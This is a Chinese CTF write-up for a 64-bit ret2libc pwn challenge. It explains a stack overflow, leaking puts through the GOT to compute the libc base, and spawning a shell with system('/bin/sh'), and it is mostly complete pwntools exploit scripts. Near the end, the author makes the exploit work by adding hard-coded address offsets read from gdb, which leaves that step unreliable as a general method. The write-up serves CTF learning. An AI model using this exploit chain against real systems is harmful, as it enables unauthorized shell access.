目录
思路:
64位,开启了nx保护
有read函数,read函数是一个危险函数,可以进行栈溢出,偏移量是0x10,里面有puts函数,我们可以通过泄露puts的真实地址计算基地址,虽说每次真实地址在变但是最后三位始终是相同的。
基地址=真实地址-偏移地址
这次给你一个libc.so.6文件,这个和以往的不同,我说说他们的区别:
没有libc.so.6 from LibcSearcher import* libc=LibcSearcher('func',func_addr) #func为你要泄露的函数 libc_base=func_addr-libc.dump('func') system=libc_base+libc.dump('system') binsh=libc_base+libc.dump('str_bin_sh') 有libc.so.6 libc=ELF('./libc.so.6') libc_base=func_addr-libc.sym['func'] system=libc_base+libc.sym['system'] binsh=libc_dase+libc.search(b'/bin/sh').__next__()
64位肯定要用寄存器传参了
查一下寄存器rdi的地址
root@TOM:/mnt/c/users/32566/desktop# ROPgadget --binary ret2libc --only 'pop|ret' | grep 'rdi' 0x00000000004012b3 : pop rdi ; ret
咱们开始泄露
from pwn import* context(os='linux',arch='amd64',log_level='debug') p=process('./ret2libc') elf=ELF('./ret2libc') libc=ELF('./libc.so.6') rdi=0x00000000004012b3 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] offest=0x10 dofunc=elf.sym['dofunc'] payload=cyclic(offest)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(dofunc) p.sendline(payload) p.interactive()
看见那个\x7f没,那东西就是咱们要找的,咱们要想这接收它
from pwn import* context(os='linux',arch='amd64',log_level='debug') p=process('./ret2libc') elf=ELF('./ret2libc') libc=ELF('./libc.so.6') rdi=0x00000000004012b3 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] offest=0x10 dofunc=elf.sym['dofunc'] payload=cyclic(offest)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(dofunc) p.sendline(payload) puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(f"puts",hex(puts)) p.interactive()
puts的地址出来了,接下来就是计算基地址了
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search(b'/bin/sh').__next__()
计算完后就是写payload了
payload=cyclic(offest)+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
然后发送就可以,详细的看exp
exp 一切以exp为主。
from pwn import* context(os='linux',arch='amd64',log_level='debug') content=0 if content==1: p=remote("",) else: p=process('./ret2libc') elf=ELF('./ret2libc') libc=ELF('./libc.so.6') rdi=0x00000000004012b3 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret=0x000000000040101a offest=0x10 dofunc=elf.sym['dofunc'] payload=cyclic(offest)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(dofunc) p.sendline(payload) puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(f"puts",hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search(b'/bin/sh').__next__() payload=cyclic(offest)+p64(rdi)+p64(binsh)+p64(ret)+p64(system) p.sendline(payload) p.interactive()
结果
本来前面我打通了
后面又打了一下发现打不通
print(f"system",hex(system))
print(f"binsh",hex(binsh))
然后我就打印了一下system、/bin/sh的地址,接着gdb调试发现泄露出来的system和/bin/sh与真正的system和/bin/sh差了一些距离,这个可能和libc版本有关系吧!运行一下下面的代码!
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./ret2libc')
elf=ELF('./ret2libc')
libc=ELF('./libc.so.6')
rdi=0x00000000004012b3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x000000000040101a
offest=0x10
dofunc=elf.sym['dofunc']
payload=cyclic(offest)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(dofunc)
p.sendline(payload)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f"puts",hex(puts))
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
print(f"system",hex(system))
binsh=libc_base+libc.search(b'/bin/sh').__next__()
print(f"binsh",hex(binsh))
gdb.attach(p)
payload1=cyclic(offest)+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload1)
p.interactive()
我们可以看到地址对不上,为了让地址对上你可以用gdb里面查到的减去你泄露的
真实的libc1=system_real(gdb查到的)-system(泄露的)=0x20b0
真实的libc2=binsh(gdb查到的)-binsh(泄露的)=0x2768b
from pwn import* context(os='linux',arch='amd64',log_level='debug') p=process('./ret2libc') elf=ELF('./ret2libc') libc=ELF('./libc.so.6') rdi=0x00000000004012b3 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret=0x000000000040101a offest=0x10 dofunc=elf.sym['dofunc'] payload=cyclic(offest)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(dofunc) p.sendline(payload) puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(f"puts",hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system']+0x20b0 print(f"system",hex(system)) binsh=libc_base+libc.search(b'/bin/sh').__next__()+0x2768b print(f"binsh",hex(binsh)) gdb.attach(p) payload1=cyclic(offest)+p64(rdi)+p64(binsh)+p64(ret)+p64(system) p.sendline(payload1) p.interactive()
发现地址对上了,nice,嘿嘿嘿